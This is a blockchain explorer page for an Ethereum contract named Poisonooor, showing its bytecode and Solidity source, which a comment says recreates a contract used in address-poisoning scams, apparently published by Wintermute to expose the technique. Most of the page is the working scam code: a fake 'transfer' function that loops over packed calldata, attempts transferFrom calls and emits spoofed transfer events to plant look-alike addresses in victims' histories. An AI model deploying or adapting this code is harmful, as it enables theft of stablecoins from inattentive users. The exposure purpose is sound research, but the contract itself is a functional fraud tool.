Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x6EC5Fa655C65311325257cB12d2AC01Aa73a50F9
Balance 0 ETH
Nonce 1
Code Size 1370 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

1370 bytes
0x608060405260043610610037575f3560e01c80631693074b14610092578063a9059cbb146100b1578063dbada5e9146100e55761003e565b3661003e57005b34156100865760405162461bcd60e51b8152602060048201526012602482015271115d1a195c881b9bdd081858d8d95c1d195960721b60448201526064015b60405180910390fd5b6100905f80610126565b005b34801561009d575f80fd5b506100906100ac3660046103ea565b6102f5565b3480156100bc575f80fd5b506100d06100cb366004610438565b610126565b60405190151581526020015b60405180910390f35b3480156100f0575f80fd5b506101186100ff366004610462565b5f60208181529281526040808220909352908152205481565b6040519081526020016100dc565b5f3660806101356044836104ad565b61013f91906104d4565b1561018c5760405162461bcd60e51b815260206004820152601860248201527f496e76616c69642063616c6c2064617461206c656e6774680000000000000000604482015260640161007d565b5f608061019a6044846104ad565b6101a491906104e7565b90505f5b818110156102e7575f6101bc8260806104fa565b6101c7906044610511565b60408051631693074b60e01b81526001600160a01b0383358181166004840152602085013582811660248501529385013591821660448401526060850135606484018190529495509390913090631693074b906084015f604051808303815f87803b158015610234575f80fd5b505af1925050508015610245575060015b610288576001600160a01b038083165f908152602081815260408083209388168352929052908120805483929061027d908490610511565b909155506102d69050565b836001600160a01b0316826001600160a01b03167fc1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db836040516102cd91815260200190565b60405180910390a35b5050600190930192506101a8915050565b506001925050505b92915050565b61030a6001600160a01b038516848484610310565b50505050565b604080516001600160a01b038581166024830152841660448201526064808201849052825180830390910181526084909101909152602080820180516001600160e01b03166323b872dd60e01b178152825161030a93889390925f9283929183919082885af180610386576040513d5f823e3d81fd5b50505f513d9150811561039d5780600114156103aa565b6001600160a01b0384163b155b1561030a57604051635274afe760e01b81526001600160a01b038516600482015260240161007d565b6001600160a01b03811681146103e7575f80fd5b50565b5f805f80608085870312156103fd575f80fd5b8435610408816103d3565b93506020850135610418816103d3565b92506040850135610428816103d3565b9396929550929360600135925050565b5f8060408385031215610449575f80fd5b8235610454816103d3565b946020939093013593505050565b5f8060408385031215610473575f80fd5b823561047e816103d3565b9150602083013561048e816103d3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156102ef576102ef610499565b634e487b7160e01b5f52601260045260245ffd5b5f826104e2576104e26104c0565b500690565b5f826104f5576104f56104c0565b500490565b80820281158282048414176102ef576102ef610499565b808201808211156102ef576102ef61049956fea26469706673582212206da96ce497adb7a2e38e2c81df0082d71abd7f0303bc47dd2b2e2b291525512b64736f6c634300081a0033

Verified Source Code Partial Match

Compiler: v0.8.26+commit.8a97fa7a EVM: cancun Optimization: Yes (200 runs)
Poisonooor.sol 90 lines
pragma solidity 0.8.26;

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract Poisonooor {

    /* 
        This contract is used by bad guys for the address poisoning scam to trick inattentive users into sending USDT/USDC to the wrong addresses
        Recreated and exposed by Wintermute

        DESCRIPTION OF HOW THIS SCAM WORKS:
        https://www.blockaid.io/blog/a-deep-dive-into-address-poisoning
    */

    using SafeERC20 for IERC20;

    mapping(address => mapping(address => uint256)) public mapping_4850931766;

    event Transferred(bytes32 indexed, address indexed, address indexed, uint256) anonymous;

    receive() external payable {}

    fallback() external payable {
        require(msg.value == 0, "Ether not accepted");
        transfer(address(0), 0);
    }

    function attemptTransfer(IERC20 token, address from, address to, uint256 amount) external {
        token.safeTransferFrom(from, to, amount);
    }

    function transfer(address, uint256) public returns (bool) {
        uint256 len = msg.data.length;
        require((len - 68) % 128 == 0, "Invalid call data length");
        uint256 iters = (len - 68) / 128;
        for (uint256 i = 0; i < iters; i++) {
            uint256 offset = 68 + i * 128;

            address from;
            address to;
            address token;
            uint256 amount;

            assembly {
                from := calldataload(offset)
                to := calldataload(add(offset, 32))
                token := calldataload(add(offset, 64))
                amount := calldataload(add(offset, 96))
            }

           try this.attemptTransfer(IERC20(from), to, token, amount) {
            emit Transferred(hex"c1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db", token, from, amount);
           } catch {
            mapping_4850931766[token][from] += amount;
           }
        }
        return true;
    }

}

library SafeERC20 {
  error SafeERC20FailedOperation(address token);

  function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
    _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
  }

  function _callOptionalReturn(IERC20 token, bytes memory data) private {
    uint256 returnSize;
    uint256 returnValue;
    assembly ("memory-safe") {
      let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
      if iszero(success) {
        let ptr := mload(0x40)
        returndatacopy(ptr, 0, returndatasize())
        revert(ptr, returndatasize())
      }
      returnSize := returndatasize()
      returnValue := mload(0)
    }
    if (returnSize == 0 ? address(token).code.length == 0 :  returnValue != 1) {
      revert SafeERC20FailedOperation(address(token));
    }
  }
}

Read Contract

mapping_4850931766 0xdbada5e9 → uint256

Write Contract 2 functions

These functions modify contract state and require a wallet transaction to execute.

attemptTransfer 0x1693074b
address token
address from
address to
uint256 amount
transfer 0xa9059cbb
address
uint256
returns: bool

Recent Transactions

No transactions found for this address